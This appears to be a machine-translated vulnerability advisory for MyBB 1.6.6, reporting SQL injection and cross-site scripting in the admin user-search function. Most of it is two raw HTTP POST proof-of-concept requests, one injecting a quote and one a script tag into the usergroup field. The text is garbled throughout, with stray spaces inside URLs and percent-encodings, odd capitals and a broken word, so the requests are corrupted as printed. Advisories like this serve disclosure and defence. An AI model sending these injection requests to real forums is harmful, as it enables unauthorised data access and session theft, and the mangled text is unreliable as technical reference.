MyBB 'index. php' SQL injection and Cross-Site Scripting Vulnerability

Release date: 2012-03-27
Updated on:

Affected Systems:
MyBB 1.6.6
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52743

MyBB is a popular Web forum program.

MyBB has the SQL injection and Cross-Site Scripting Vulnerabilities. These vulnerabilities allow attackers to execute arbitrary script code, steal cookie authentication creden。, control applications, access or modify data.

<* Source: Aditya Modha
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Aditya Modha () provides the following test methods:
SQL-injection:

POST/mybb/admin/index. php? Module = user-users & amp; action = search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv: 10.0) Gecko/20100101 Firefox/10.0
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http: // 192.168.7.5/mybb/admin/index. php? Module = user-users & action = search
Cookie: mybb [lastvisit] = 1332694756; mybb [lastactive] = 1332699650; mybb [referrer] = 1; loginattempts = 1;
Adminsid = a82d27dd72efdb0a99c009db7701e847; acploginattempts = 0; mybbuser = offline;
Sid = d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

My_post_key = 5dbe489b5b03d9d9e2d387ff9267567d & conditions % 5 Busername % 5D = aditya & conditions % 5 Bemail % 5D = aditya
& Conditions % 5 Busergroup % 5D % 5B % 5D = 2' & conditions % 5 Bwebsite % 5D = & conditions % 5 Bicq % 5D = & conditions % 5 Baim % 5D =
& Conditions % 5 Byahoo % 5D = & conditions % 5 Bmsn % 5D = & conditions % 5 Bsignature % 5D = & conditions % 5 Busertitle % 5D =
& Conditions % 5Bpostnum_dir % 5D = greater_than & conditions % 5 Bpostnum % 5D = & conditions % 5 Bregdate % 5D =
& Conditions % 5 Bregip % 5D = & conditions % 5 Blastip % 5D = & conditions % 5 Bpostip % 5D = & profile_fields % 5Bfid3% 5D % 5Bfid3% 5D = N % 2FA
& Profile_fields % 5Bfid1% 5D = & profile_fields % 5Bfid2% 5D = & sortby = username & order = asc & perpage = & displayas = card

Cross-site scripting:

POST/mybb/admin/index. php? Module = user-users & amp; action = search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv: 10.0) Gecko/20100101 Firefox/10.0
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http: // 192.168.7.5/mybb/admin/index. php? Module = user-users & action = search
Cookie: mybb [lastvisit] = 1332694756; mybb [lastactive] = 1332699650; mybb [referrer] = 1; loginattempts = 1;
Adminsid = a82d27dd72efdb0a99c009db7701e847; acploginattempts = 0; mybbuser = offline;
Sid = d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

My_post_key = 5dbe489b5b03d9d9e2d387ff9267567d & conditions % 5 Busername % 5D = aditya & conditions % 5 Bemail % 5D = aditya
& Conditions % 5 Busergroup % 5D % 5B % 5D = 2 <script> document. write (Date () </script> & conditions % 5 Bwebsite % 5D = & conditions % 5 Bicq % 5D =
& Conditions % 5 Baim % 5D = & conditions % 5 Byahoo % 5D = & conditions % 5 Bmsn % 5D = & conditions % 5 Bsignature % 5D = & conditions % 5 Busertitle % 5D =
& Conditions % 5Bpostnum_dir % 5D = greater_than & conditions % 5 Bpostnum % 5D = & conditions % 5 Bregdate % 5D =
& Conditions % 5 Bregip % 5D = & conditions % 5 Blastip % 5D = & conditions % 5 Bpostip % 5D = & profile_fields % 5Bfid3% 5D % 5Bfid3% 5D = N % 2FA
& Profile_fields % 5Bfid1% 5D = & profile_fields % 5Bfid2% 5D = & sortby = username & order = asc & perpage = & displayas = card

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

MyBB
----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.mybboard.com/